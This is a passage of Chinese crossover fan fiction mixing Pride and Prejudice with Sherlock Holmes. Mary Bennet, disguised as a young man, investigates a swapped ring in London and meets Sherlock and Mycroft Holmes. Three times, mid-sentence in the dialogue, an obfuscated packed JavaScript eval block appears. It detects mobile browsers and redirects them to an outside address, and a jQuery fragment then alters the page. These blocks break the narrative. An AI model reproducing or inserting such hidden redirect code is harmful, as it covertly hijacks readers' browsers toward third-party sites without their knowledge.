看着玛丽难得这么活泼的样子简和伊丽莎白对视一眼,忍不住叹气,玛丽就是这样的,朗伯恩的生活太平静了,她在朗伯恩的每一天都只能自己给自己找点乐子,上一次看到玛丽这么活泼还是她在伦敦帮舅舅破获员工掉包珠宝的案件,那时候她才十二岁,回来朗伯恩之后她几乎算得上滔滔不绝的说了整整两个多小时。 从员工的愚蠢一直感慨到舅舅的迟钝 真相是如此的显而易见!!可是加德纳先生竟然都没发现,她简直可以称得上百思不得其解! 班纳特太太无可奈何,呼唤着女仆给玛丽收拾行李,去加德纳先生哪里倒也不必携带太多东西,因为几个侄女经常去探望舅舅一家,加德纳先生家里还是有一些备用的衣物和用品的。 而在玛丽走的第二天内瑟菲尔德庄园又举办了舞会。 达西先生依然和宾利共同前往,宾利依然第一时间就看到了人群中几乎在闪闪发亮的简,而达西打量了一圈也没看到上次的那位孤独傲慢又冷漠的玛丽小姐。 卢卡斯爵士看到达西一个人站在人群之外连忙招呼上去:“对年轻人来说是多么迷人的活动啊达西先生。没什么比得上跳舞了不是么?” 两人交谈间看到了路过的伊丽莎白,卢卡斯爵士叫住了她:“哦请让我为您介绍,伊丽莎白小姐,朗伯恩有名的伶俐姑娘,她是一位非常适合的舞伴,我相信有如此美丽的舞伴,您一定不会拒绝跳舞的先生。” 达西看着伊丽莎白那双和她的姐妹完全不同的双眼,虽然都是班纳特家的女孩子,但是那个奇怪的女孩却似乎游离在这个家庭之外,很难形容,虽然另外四个姐妹有的端庄优雅,有的过于活泼粗鲁,比如那两个已经和军官笑闹成一团的小女孩,但是唯独那个叫做玛丽的女孩,她似乎隔离在这些人之外,是如此的让人难以理解,难以琢磨。 伊丽莎白却笑了起来:“实际上我并不想跳舞先生。” 达西没忍住还是说出了口:“伊丽莎白小姐,如果您能赏光和我跳一支舞我将不胜荣幸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749123|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 伊丽莎白打量了达西一眼,这一下倒是和她的妹妹有几分相似了:“谢谢,不过抱歉先生,我并不想跳舞。” 卢卡斯爵士左看右看,想要说一些什么缓和气氛,却被卢卡斯太太叫了过去。 伊丽莎白本打算也离开,可是却又被达西叫住 “抱歉伊丽莎白小姐,不过上次见到您是和您的母亲以及另外四位小姐前来,这次却只看到了三位,请问玛丽小姐是否身体不适,未能前来?” 达西的话让伊丽莎白有些奇怪,又用那种玛丽一般的眼神打量了一眼达西,达西不得不承认,虽然同为姐妹,这位伊丽莎白小姐相似的眼神可没有她的妹妹杀伤力大,虽然稍显严厉,却不足以让人背后冒出冷汗。 最终伊丽莎白还是回答了他的疑问:“玛丽去伦敦拜访舅舅了,或许会在伦敦待一段日子。” 达西听闻也只是点点头没有继续追问。 另一边的玛丽在晚上就到达了伦敦,朗伯恩距离伦敦也不过五个小时车程,算上收拾行李的过程也不过稍稍耽误了一会。 晚上到达伦敦之后玛丽第一时间就想要探查“案发现场” 可是加德纳夫妇却考虑到侄女舟车劳顿,定要她好好休息一天再说。 安排玛丽吃了一顿晚餐,又好好休息了一晚,第二天早上加德纳太太才从自己的保险柜里拿出了那个奇怪的蓝钻戒指。 说是保险柜,不如说是嵌入墙体中的一个巨大金属箱子。 这栋房子是加德纳先生婚后买的,考虑到自己的珠宝生意,于是在买下这栋屋子之后再夫妻二人的屋内藏入了这样一个金属铁箱。 之前那枚蓝宝石戒指也只是放在加德纳太太的梳妆台柜子里,自从发现蓝宝石变成了蓝钻,加德纳太太就将这枚戒指藏在了保险柜中了。 玛丽接过蓝钻戒指仔细打量:“奇怪,真是奇怪。” 加德纳先生今日没去开店,也在家中和妻子侄女一起:“看出了什么?” 玛丽顺手从口袋里掏出一个小小的放大镜,透过放大镜这枚蓝钻在阳光之下简直熠熠生辉,没有任何一个普通女人可以拒绝这枚美丽的,光滑璀璨的戒指。 但是玛丽却来回查看:“真是有意思极了!” 将戒指递给加德纳太太之后玛丽也收起了自己的小放大镜。 几人回到了书房,孩子们都被家庭教师和女仆们带出去了,玛丽坐在一边的沙发上:“可以仔细说说这枚戒指的来历么舅舅。” 加德纳先生和太太则是坐在另一边的沙发上:“当然,当然没问题。” 沉默了一会似乎在整理思绪,玛丽也没有催促,加德纳先生沉默了好一会才开口说道:“在两周之前的一个周三晚上,我本来打算打烊关门的,因为答应你的表妹要早些回来陪她晚餐,我上个月都忙碌的太晚了,小爱丽丝和我抱怨了很多次,哦回归正题,那天晚上我本打算早日打烊,于是就让伙计威廉早点回去,我留下关门,威廉走后没多久,我正打算关门,当时大约傍晚六点半,就在我准备关门的时候一个女仆进来了。” 5. 第 5 章 通过加德纳先生的描述,一个女仆经人介绍前来当掉一枚蓝宝石戒指,据说是家中落魄,女主人为了维持体面,不得不舍弃了一些多余的东西,无论怎么说,这位女仆得到了一个合理的价格,加德纳先生得到了一枚还算不错的蓝宝石戒指,因为想到下个月就是加德纳太太的生日,他决定将这个戒指作为礼物赠与加德纳太太,于是当晚并没有将这枚戒指留在店内而是带回了家中 加德纳太太收到戒指之后十分欣喜,当晚就将这枚戒指收藏在了梳妆台的盒子内,因为平日里并没有携带这枚戒指的场合,所以这些时日戒指也只是放在盒中并未查看,前些天加德纳太太应邀准备前往一位好友家中参加下午茶聚会,早上梳妆打扮之时正准备带上戒指却发现戒指变得不一样了,竟然从蓝宝石戒指变成了一个蓝钻戒指。 玛丽调整了一下坐姿:“这些时日家中可有客人或者其他人前来拜访过?” 加德纳太太摇头:“并没有,家中这段时日并无其他人前来拜访。更何况这枚戒指放在我们的卧室梳妆台上,客人不会如此无礼的闯入我们的卧室。” “嗯……那名女仆前来典当的时候可有什么特别奇怪之处?” 加德纳先生也摇头:“并没有,如果非要说奇怪,就是她遮掩的十分严实,可这对于一个为主人典当珠宝来生活的女仆来说却也十分正常,你知道的,需要典当珠宝来维持体面的生活可是十分丢脸的,肯定需要仔细遮掩,不然也不会到我们这里来典当,城里的典当铺那么多,只怕典当到别处正规的典当铺里会走漏风声,典当到我们这些珠宝店,事后哪怕再被人买走,也可以说一句可能是家中仆人偷窃,导致珠宝流失在外。” 玛丽一言不发陷入了思索。 加德纳先生忽然又开口:“哦,说起来,你或许想要看看这个。” 从另一个柜子里找出一封纸条,加德纳先生递给了玛丽:“我也害怕是仆人偷窃的赃物,当时我追问了两句,这个女仆给了我这封手写的纸条,表示确实是戒指主人委托的。” 【因生活之需,典当戒指一枚。】 玛丽接过纸条翻看着。 与其说是纸条,不如说是一半信笺,亚麻纤维质地,抚摸上去柔顺厚实,字迹没有晕染 ,看得出造纸的技术不错,一般使用这样纸张的不会是普通平民,平民大多使用混合纤维纸,质地松散、易破损,且无装饰,这张纸条下半部分是被撕开的,显然是为了避免暴露家族信息的印记,哪怕不看印记,单单从质地上来说这纸张就造价不凡。 若是玛丽没有记错,这种制作方式的纸张大约5-10先令,都抵得上伦敦工人一天的工资了。 将纸张放在鼻尖嗅闻,似乎还有一些特殊的气味。 仔细闻了一会玛丽忽然想了起来。 迷迭香。 玛丽站起身活动了一下:“真是一个有趣的游戏啊,真相可不会自己敲门走进来的舅舅,看来我们得活动活动了!” 加德纳夫妻二人很是信任玛丽的能力,但是也不得不承认,在看到玛丽进入房间不过半个小时之后就变成了个青年还是让他们震撼到了。 通过化妆和一些小道具的伪装玛丽将自己变成了一个青年模样,穿着一身衬衫马甲,外面再套上一件西装,头上带着的礼帽将长发遮住,怎么都看不出刚才还是一个青春少女! 加德纳太太捂住胸口:“我的天哪!玛丽!我的天哪!” 玛丽摘下礼帽躬身行礼:“向您问安太太!” 就连说话的声音都带着一股少年期的清透和雌雄莫辨。 加德纳先生讷讷的不敢说话,深吸一口气最终还是开口:“不,我不能让你这么出去,玛丽,班纳特先生如果知道了,我该如何向他交代啊!” 玛丽随手一转将帽子重新带回头上:“那就别让班纳特先生知道不就好了?放心吧舅舅,伦敦的大多数人都蠢得和金鱼没什么两样,他们根本看不出来。威廉·沃特如何?这个名字?谁知道他是谁呢。好了,让我们脚步快快动起来吧。真相就在那里等着我去和他会面呢!” 带上特制的手套玛丽转身就要往外走,加德纳先生一路追着都没追上。 天哪,天哪,加德纳先生发誓,他完蛋了,一旦被班纳特先生知道,他就完蛋了! 玛丽根本不在意加德纳先生有没有追上来,说实话,没追上来更好,虽然舅舅一家对她很不错,但是他们也是这世间的俗人罢了,总是把自己规范在那些无趣的礼教规矩之中,而有些时候,不打破那些无聊的框框条条,如何追寻世间真理呢。 快步走到公共马车的站点,赶巧来了一辆马车玛丽一个跨步就坐了上去,伦敦作为大城市有许多的公共马车路线,格雷斯丘奇街距离蓓尔美尔街大约三英里不到,玛丽脑海里有着一整套伦敦的地图,公共马车,运河船只,邮政马车的所有线路都在那个小脑袋瓜里。 从格雷斯丘奇街到蓓尔美尔要转乘,中途下车之后玛丽快速走到另一个搭乘点。 在经过一家咖啡馆时还能听到里面贵妇人的谈笑声:“天哪,你看到她窘迫的模样了么?她的扇子竟然还是上次卡特莱夫人舞会时用的同一把,天哪,我都不敢想象我在两场舞会上用同一把扇子的模样,再这样下去,恐怕她都要典卖祖宅了吧。” 巴拉巴拉都是一些俗人言语,玛丽只觉得无聊透顶,自顾自的快步经过咖啡店拐了个弯走到下一个马车搭乘点。 转乘马车很快就到了蓓尔美尔街,这里作为交通干到,整条街道上都是各种高档购物店铺,有众多时尚名品,出售当下流行的服装、配饰等,最重要的事,这里有两家文具店长期供应伦敦的贵族老爷们各类笔墨,当然也包括纸张。 站在蓓尔美尔街头玛丽左右打量,打头看到的第一家汉弗莱文具店光明几净,这家店坐落在蓓尔美尔街的街头第三家店铺的位置,前面两个是服装店和珠宝店相比于服装店和珠宝店的的人流量汉弗莱文具店显得门可罗雀。 穿过马路,玛丽直奔文具店门口,店内的展柜中是各类美丽精致的笔,纸张在另一边,选择性倒是没有那么多。 正在看着几张信笺展品的功夫店铺伙计走了过来:“上午好先生,请问有需要?” 玛丽微微颔首:“上午好,请问您这里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749124|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信笺只有这些么?” 伙计点点头:“是的先生,我们这里的信笺制作都是手工抄纸制成,需经浸泡、打浆、抄纸、晾晒等多道工序,从使用到保存都是一等一的好货。您尽管放心选择。” 玛丽装作不经意的模样:“哦,当然,汉弗莱文具的名声一向不错,我也正是在我朋友的推荐下前来的,只是此番前来是为我的妹妹购买的,她听说贵店有出售一种自带芳香的信笺,她的朋友们都很喜欢使用,不知可否看看?” 伙计走到一处柜台前:“当然,当然先生,最近正流行这个呢,我们长期为贵族老爷们提供!是您不二的选择!” 玛丽接过伙计递过来的纸张仔细上下打量了几眼又将纸张放在鼻尖轻轻嗅闻,在翻转几次查看之后玛丽将纸张递了回去:“哦,非常不错,不过显然我的妹妹想要一些更好的,打扰了。” 说完玛丽转身离开了文具店,徒留拿着纸张的伙计不知所措。 之前拿来的纸张香味单薄,而刚才拿到的纸张香味则要更明显一些,考虑到现在造纸和熏香的织造过程,显然加德纳先生拿到的纸张已经放置了有一段时间了,不是最近购买的,这也符合家道中落需要典卖首饰维持生活这一情况。 如果只是普通的生活开支其实并不是非常的大额,除非整个家族破产,否则不会变卖首饰维持生活的餐饭,只有一些无用的,无聊的但是需要投入大量金钱的场合,宴会,只能是伦敦社交季的宴会,还能参加宴会说明还没有彻底被贵族宴会的主人家们遗忘,要知道这群贵族老爷们别的人不说,对金钱的敏感度可并不逊色于任何商人,家族财产缩水以至于到了夫人典卖首饰,这家贵族老爷一定是发生了什么,否则在当下社会金钱从来不是夫人们需要担心的事情,这家的老爷一定出了事,但是不会是权位的变动,如果是这样的话,夫人就不会被邀请参加宴会。 死亡,只有老爷的死亡才会导致家族的财产缩水,但是妇人依然会被邀请参加宴会。 玛丽走出蓓尔美尔街左看右看,找到不远处的一个报童:“有最近的报纸么?” 在朗伯恩生活的时候班纳特先生并不会订购很多报纸,只有一些当地的小报。 报童身上只有当日的报纸,多余的报纸只有前两天的几张。 翻找了一番没有找到自己想看到的消息,玛丽想起每期报纸图书馆都有备份,蓓尔美尔街距离图书馆只有五公里,摸摸身上带的钱决定还是走过去比较好。 走了好一会到达图书馆已经快要接近中午了,玛丽直奔图书馆里报纸的收藏区域,整个图书馆内收集储存了众多的报纸,这种花香熏制大多数以当期花卉作为卖点,薰衣草花期只有前后两个月,考虑到制作,购买,储存的时间,最多也就三个月前的报纸。高贵的夫人们可不能允许自己的花卉信笺是过季的。 玛丽将最近三个月的报纸都找了出来,正在翻找报纸的途中玛丽没有注意到身后的人,两人不小心装作一团。 报纸散落在地上,而两个半月多前的报纸正好掉在地上。 “曼彻斯特工厂暴动,威廉·哈里福德爵士被害身亡。” 6. 第 6 章 自从前两年和法国宣战,国内的报纸上时不时就能看到各种有关战争的消息,而国内的衣食住行等方方面面也都被战争影响。 最大也是最直接的影响就是粮食,自从战争爆发,因为天气和其他各方面的因素导致国内的粮食价格飞涨,而工厂可不会考虑到粮食上涨就给工人们增加工资,工人暴动几乎是肉眼可见一定会发生的事情。 玛丽蹲下身准备捡起报纸又和对方撞了个正脸。 两人互相打量一眼,对面的男人虽然也蹲下了身子,但是从脚掌长度,和蹲下的高度也看得出来是一个高挑的青年,身材瘦削身形极为修长,玛丽目测估算怎么都有六英尺①左右的高度。 虽然是蹲下身体,但是脊背下意识的挺直,脖颈高昂,看得出是受过良好的教育,有着端庄的仪态,这意味着他的家庭财产状况良好,能够从小提供一些最起码的中产之上的教育,深棕色的头发浓密,但是梳成了大背头,这显得他干练而成熟,耳朵上方的头发有几根略微翘起,证明他刚刚带了帽子,现在虽然摘了帽子但是并没有将头发规整好,是一个有着随性洒脱个性的青年,眼神有些锐利,此刻这位先生也在打量着自己。 烟灰色的瞳孔十分深邃,鼻梁高挺鼻尖微微弯曲,显得他五官轮廓更加立体了。 青年嘴唇轻薄,此刻正紧紧抿着唇,看上去似乎有什么话想说。 玛丽拿起报纸站起身,两人依然在打量对方。 对于沉默这件事,玛丽总是有着无限的耐心,而对方看玛丽不开口,倒是率先打破了沉默。 “真是不凑巧,看来我们都需要查看同一份报纸……小姐。” 玛丽微微挑眉看到袖口露出的标记:“啊……看起来是的,那么不知道我是否可以先行查看,与此同时……有兴趣喝杯茶么……福尔摩斯先生。” 福尔摩斯也站直了身体,两人彼此对视,在视线的切磋中确认对方的意图同时也在确认那份不确定的同质感。 沉默在两人中蔓延,最终夏洛克微微点头,率先后退一步,玛丽也后退一步,并将报纸随手塞进衣服内衬。 夏洛克看到了玛丽的动作却什么都没说。 两人就这么大摇大摆的走出了图书馆来到不远处的一家咖啡店。 图书馆旁边的咖啡店环境清幽,夏洛克走在前方,走到门前的时候还绅士的打开了大门请玛丽先行进入。 玛丽随意找了一处角落里的桌子,桌上铺着洁白的桌布,侍从走了过来,夏洛克只要了一杯红茶,玛丽则更偏向于咖啡,侍从记下两人所需躬身离开。 夏洛克坐在桌子对面,手肘搭在扶手上,两手指尖相对成塔状抵在下巴:“有趣的小……先生,看来我们有一些话题可以聊一聊。” 玛丽则是继续保持微笑坐着,开始装模作样的沉默起来,这还是头一次她感受到沉默是那么的有趣。 随手从内衬拿出报纸打开阅读,得益于快速的阅读能力,玛丽几乎只是扫了几眼就看完了整片报道。 看完之后玛丽也没有将报纸放回桌上,只是继续翻页查看报纸上的其他内容。 报纸上除了曼彻斯特的工厂暴动,威廉·哈里福德爵士的死亡,还有关于和奥地利合作共同对抗法国的消息。 一份典型的政治报纸。 夏洛克在不断用视线确认对面这个奇怪姑娘的信息。 在室内依然带着的帽子是为了遮掩自己盘起来的头发,衣领袖口微微紧缩,并不合身,可能是她兄弟的衣服,衣领袖口等露出的位置并没有特殊的标记或者缩写,无法确认身份信息,布料有些褪色和褶皱,肩臂腿部的衣服褶皱明显又凌乱,应该是被随意折叠后塞进行李箱,没有经过熨烫又直接穿出来的,皮鞋鞋底有略微加厚,可能是垫了内衬增高,上面有浮灰和泥土,鞋子侧面露出的泥土中还掺杂红色,那是碎砖块颗粒。 从隐隐有一丝马匹的气味,鞋子上的灰尘,衣服的大小,一切的一切信息看来,这个变装的姑娘恐怕奔波了一天。 夏洛克抬手再次示意侍者,顺带掏出怀表看了一眼时间:“司康饼和姜汁饼干谢谢。” 这句话让玛丽从报纸后面露出小半张脸,然后又继续将整张脸藏回到报纸后面。 一直等到侍者将咖啡、红茶和饼干都端了上来玛丽才放下报纸。 夏洛克端起茶杯喝了一口:“哈,忙碌的一天。” 玛丽拿起司康饼三两口塞进嘴里,这毫不客气的吃法倒是让夏洛克有些许震惊,虽然夏洛克不是没见过一些底层工人女性,但是不论多么自诩粗鲁的女工,也绝不会穿着男士西装裤子到处跑个,更不会在这样的场合如此狼吞虎咽。再粗鲁的女工也会在一些场合注意自己的仪态。 一块接一块的塞了好几块饼干玛丽又去喝了口咖啡,饿倒不是很饿,但是既然能迅速补充能量,玛丽也没客气。 毕竟这样免费占便宜的好事可不多。 “有几分收获,倒是不多,不知道福尔摩斯先生今日收获如何。” 夏洛克拿起一边的报纸:“那要看看这份我们都需要的报纸上如何说了。” 看到自己想要看到的消息后夏洛克也放下了报纸。 两人都已经得到了自己想要的信息,现在开始则是两个人之间的对决了。 玛丽感觉到了一种从未有过的刺激和快乐,在金鱼的世界里,她终于遇到了一个可以‘对话’的同类,这让她难得的兴奋起来:“小时候旅居法国德国。” 夏洛克紧跟其后:“英国乡村。” 玛丽:“牛津大学。” 夏洛克挑眉:“错了,牛津和剑桥。” 玛丽撇撇嘴看向夏洛克的鞋子:“看来您还是更喜欢牛津,先生。” 夏洛克微笑:“德比郡。” 玛丽:“大错特错,赫特福德郡。” 夏洛克微微皱眉。 玛丽继续步步紧逼:“化学专业。” 夏洛克紧随其后:“诺克七管。” 玛丽低头看了看自己的手,虽然带着手套,但是手腕还是露出了一点伤疤。 夏洛克不待玛丽开口又紧跟着说了下去:“格雷斯丘奇街。” 玛丽撇撇嘴:“很抱歉先生,今天是刚来伦敦第二天,我可没来得及四处看一看。” 夏洛克几乎是称得上开心的扯起了嘴角:“好吧,游戏暂停……先生,或许可以聊一聊其他的事情。” 玛丽放下咖啡杯:“诶,难得有如此性质,您可真让人扫兴啊。” 夏洛克:“很是难得一见,法国和德国是如何确认的?我自认并没有任何口音。” 玛丽看了眼夏洛克的怀表:“怀表,先生,显而易见,刚下在我看到了您的怀表,是十几年前宝玑推出的一款,碰巧当时我的舅舅作为礼物给我父亲赠送了一块,而怀表的表链则是另外衔接的,考虑到您的年龄,您不会自行购买这一款怀表,那么只能是礼物,赠礼,再考虑您英国的口音,应该是您在当地的长辈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749125|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赠送,而礼物受损,您却用一个德国工艺的表链衔接,证明并无其他法国产的表链可以选择,既然表链都无从选择,更别说怀表本身,您是和家人去探望法国的亲友,受亲友获赠的怀表,而之后再次跟随家人旅居德国,更换了表链。很简单的猜测不是么。” 夏洛克难得的露出微笑率先起身伸出了手:“夏洛克·福尔摩斯,有幸与您会面。” 这句说完,两人之间的对决到此结束,玛丽看着对面伸出的手也站起身握住对方的手:“玛丽·班纳特,有幸与您会面,先生。” 说到自己姓名时玛丽并未隐藏真名,对待这样一个有趣的朋友,用假名可谓是一种侮辱友谊的行为。 夏洛克松开手准备率先离开,玛丽看了眼桌上的饼干,又抓了两块,走到门口的时候竟然就这么站在门口啃了一块。 就在两人喝咖啡的功夫外面竟然下起了雨,伦敦的天气多变,下午时候阳光还不错,喝杯咖啡的功夫就下起了雨。 夏洛克抬手准备叫马车。 玛丽摸摸口袋开始计算,在夏洛克叫了一辆马车之后竟然也上了车:“抱歉,不过考虑到我现在捉襟见肘的经济情况,可能得麻烦您顺路托我一段了。” 夏洛克也摸摸口袋:“哈,看来我们确实非常相似。” 两人对视一眼再次笑了起来,玛丽耸了耸肩膀:“哈,看来聪明才智并不能换来财富。” 两人正说笑着,外面的马车却自己行驶了起来。 夏洛克看了一眼车夫:“哦……看来今天我们都能省下一笔了。” 玛丽微微挑眉:“想来您并没有人口贩卖的生意?” 夏洛克微微叹气:“托马斯,可否方便您先送我的朋友回家。” 外面的车夫却并未回话,夏洛克看了看玛丽无奈叹气。 “哦,又来了又来了!” 玛丽有些好奇,但是也不可避免的有些紧张,原本以为只是普通的公共马车,现在看来车夫和这位夏洛克先生显然是认识的。 她要如何对抗两个成年男性呢? 下意识的玛丽开始打量起夏洛克和那个叫托马斯的车夫。 在这个狭小的车间夏洛克也感受到了这种打量的眼神:“请放心,我并不是什么坏人,恐怕咱们还有一段路要共同度过,那还请给我一个机会补上刚才没有说的自我介绍吧。本人夏洛克·福尔摩斯,目前居住在蒙塔古街,这位托马斯先生是我兄长的车夫。不过还请相信,他虽然与我有诸多矛盾,却并不是什么坏人。稍后我会请托马斯送您回去的。” 听到夏洛克的解释,玛丽虽然减少了几分紧张却也没有完全放松下来。 马车就这么哒哒哒哒的行驶在伦敦的街道,幸而距离不远,车夫很快停靠了下来。 玛丽早就透过窗子看到了此行的目的地,正是这位福尔摩斯先生所居住的蒙塔古街。 托马斯打开车门,依然一言不发。 玛丽率先下车,夏洛克也走了下来,带领玛丽像公寓走去。 敲响房门之后开门是一个看上去十分不耐烦的老先生:“福尔摩斯!到这个月底,你必须搬走!听明白了么,我受够了,我真的受够你了!” 那个老先生一边怒骂一边转身离开,似乎多一秒都不想看到夏洛克。 夏洛克也没有多说什么,率先走上楼去,玛丽看了看在阴雨天气里显得有些漆黑的楼梯,以及等在外面一言不发的车夫托马斯。 玛丽选择上楼 7. 第 7 章 外面阴雨连绵,玛丽走在楼梯上还能听见雨滴落在马车顶上那噼里啪啦的声响,外面的雨似乎越来越大了。 楼梯可谓称得上是年老体衰,两人走在上面咯吱作响,夏洛克的脚步很快,玛丽跟在身后也不自觉的加快了脚步。 三楼的房门是打开的,夏洛克一边进屋一边将外套和礼帽脱下,玛丽跟在身后进了屋子四处打量。 这仿佛狂风过境的屋子和自己的房间倒是差不多,只是面积更大一些,厨房的桌上还摆放着一堆化学实验器具,各种玻璃瓶酒精灯一类,如果没看错,柜子上的玻璃器皿里似乎还泡着两个眼球。 客厅内站着一个高大的男性,玛丽站在门口看着男人,身形要比夏洛克还要高大一些,大约六英尺四英寸①,腰背挺直,两腿结实有力。 男人站在窗边,窗外是昏暗的天气,房间内的煤油灯从他的背后亮起,更加衬托出他宽阔的臂膀。 衣服整体挺括,三件套的西装看上去就价格不菲,领带之上是凸起的喉结。 他左手将一把黑色雨伞当做手杖一般撑在地上,微微侧过半个身子,视线从窗外移向室内,高挺的鼻梁在灯光的照应下显得他五官都带出一丝锋利的意味。 可是等到他转过来露出整张脸的时候却又显得柔和。是一副会让人没有防备心,迅速信任他模样,嘴角始终挂着微笑,看上去十分有礼貌,干净的脸庞没有时下绅士们喜欢留着的胡须,看上去年纪比夏洛克略大一些,但是也十分年轻,整个人莫名自带一种成熟又稳重的气质。 非常难以形容的气质,玛丽不知为何,看到的微笑后背却有种汗毛竖起的感觉。 心脏的跳动不自觉开始加快。 兴奋?亦或者紧张。 男人微微躬身:“看来你有一位娇客,夏洛克,真是意想不到。麦考福特·福尔摩斯。向您问好,小姐。” 他的声音有些低沉,像是从胸腔内鼓动着蹦出来的,每一个单词的都带着粘连的尾音。 相比之下夏洛克说话的时候每一个单词都更跳跃,如同乡村舞会里牵着手活泼舞动的少年。 而那个男人的语言则像是列队前进的方阵,一字一句都带着摩肩接踵的军队步步紧逼的压迫。 他的言语所指,就是胜利的方向。 玛丽见状干脆摘掉了礼帽,几缕碎发垂在耳边:“倒是我有些冒昧了,先生” 麦考福特似乎对这样一位与众不同的小姐见怪不怪。 夏洛克随手从厨房的角落里找到了一套茶具倒了两杯热茶,他就知道麦考夫会帮他准备好的。 麦考福特伸手示意“还请喝一杯热茶吧,稍后我会安排托马斯送您回去。” 说完,他看向了夏洛克,似乎并不觉得自己安排起兄弟的客人有什么不对。 夏洛克撇撇嘴,到底还是跟麦考福特去了另一个房间。 玛丽左看右看,干脆在沙发上坐了下来开始喝茶,甚至还有几分闲情逸致从桌上拿起一份烟灰的辨别方式看了起来。 口袋里还有2英镑,能蹭免费马车,玛丽是不愿意多花一便士去叫公共马车的。 麦考福特和夏洛克在屋子里说着什么玛丽不得而知。 很快夏洛克就走出了房间:“让她重新买一个,可真是无聊,一个戒指都让你兴师动众起来了!” 玛丽听到戒指两个字,耳朵立刻就竖了起来。 麦考福特站在门口依然是那副微笑:“夏洛克,我等着你的好消息。” 夏洛克瘫在另一边的长沙发上:“NO,麦考夫,我有我自己的事情要忙。烦请你送我的朋友回去。再见!” 玛丽闻言立刻起身:“格蕾丝丘奇街加德纳珠宝店,谢谢。” 这个时间舅舅应该在珠宝店里,玛丽露出和这位麦考福特·福尔摩斯先生一样的笑容说到。 麦考福特伸手示意:“当然,我的荣幸。” 玛丽点点头准备离开,走到门口又回过头:“夏洛克,明天下午两点,我再来拜访。” 夏洛克躺在沙发上:“明天我可说不准。” 玛丽:“下午两点,夏洛克,一件你或许会感兴趣的事情。” 夏洛克看了看玛丽:“好吧。我尽量,如果我有事离开,会让维金斯给你送信。” 麦考福特并不催促,就站在门口等待着。 玛丽和夏洛克说完就离开了,出门的时候甚至还贴心的带上了房门。 车夫还在门口等待着,麦考福特在门口撑开伞:“请。” 玛丽也没客气,麦考福特先生倒是很绅士,雨伞的大部分都在玛丽的头顶,自己的大半部分倒是在伞外。 两人上了车,麦考福特与玛丽呈斜对角坐着,麦考福特敲了敲车厢:“格蕾丝丘奇街,加德纳珠宝店。” 封闭的车厢内麦考福特的声音更加低沉了,就像是在玛丽耳边说的一样,玛丽没忍住摸了摸耳朵。 这个举动让麦考夫多看了一眼。 昏暗的车厢内玛丽也在看着麦考福特,身材高大的男人坐在狭小的车厢内显得十分有存在感,即便是坐姿也看得出这是一位健壮的绅士。 双手搭在膝盖上玛丽的食指有一下没一下的轻轻敲击,麦考福特始终表现得十分温和有礼,并没有因为玛丽的穿着和行为而露出什么情绪和批判的态度。 一直到珠宝店前麦考福特都一言不发,玛丽在车子停稳后自己打开了车门,几个健步冲了出去。 麦考福特坐在车厢里看着玛丽的背影微微挑眉,随后轻轻敲击车厢:“回去吧。” ———— 加德纳舅舅果然在珠宝店,看到冒雨回来的玛丽倒是吓了一跳:“我的天哪。” 因为有伙计在,加德纳先生并未多言,只是让玛丽赶紧进屋暖和暖和。 威廉好奇的打量了几眼这位面生的青年。 加德纳舅舅看了眼怀表:“好了威廉,今天你先回去吧,对了,我准备的拜帖还请你顺路带回去给那位先生。” 威廉并未多问,只是收拾好了自己面前的东西:“好的加德纳先生,明天见。” 等威廉离开之后加德纳先生连忙关上店门,为了避免外面看见甚至拉上了窗帘。 玛丽这才摘掉了帽子,手帕因为擦拭脸上的雨水早已湿透,虽然有些狼狈,但是玛丽说话的语气却十分雀跃:“今日收获不小,舅舅,明日我要与一位朋友会面,如果顺利,或许会有重大突破。” 加德纳先生皱着眉头:“不,玛丽,我不能允许你这样一个人莽撞的到处跑,这件事我可以请别人来帮忙,你这样莽撞行事如果出了什么事,或者有什么流言,我无法给我的姐姐还有班纳特先生交代。” 玛丽不明所以:“为什么!舅舅,你该知道这件事我能办好,只不过换上一套衣服,出去几趟而已。” 加德纳先生抬手:“不,玛丽,你根本不懂,一旦你穿男装甚至穿裤子的事情被发现,你这辈子就完了!再也没有一个绅士会愿意娶你的!” 玛丽简直不知道该说什么,现在是说绅士的问题么,难道不该是戒指的问题么? 加德纳先生继续说道:“我今天早上就该阻止你这样出门,你的父亲将你托付给我,这是莫大的信任和责任,我不能眼睁睁的看着你毁了自己,玛丽,我本以为你只是来看看,问问人,就像是上次一样,看一看人就能搞清楚这件事,现在我发现不是,那我也不能将此事交托给你了。” 玛丽一下站了起来:“不!我……” 加德纳先生根本不听玛丽的,直接打断了她:“我打听到伦敦有一位先生接受类似的委托,我会将此事托付给他,此事不必多说,就这么决定了。” 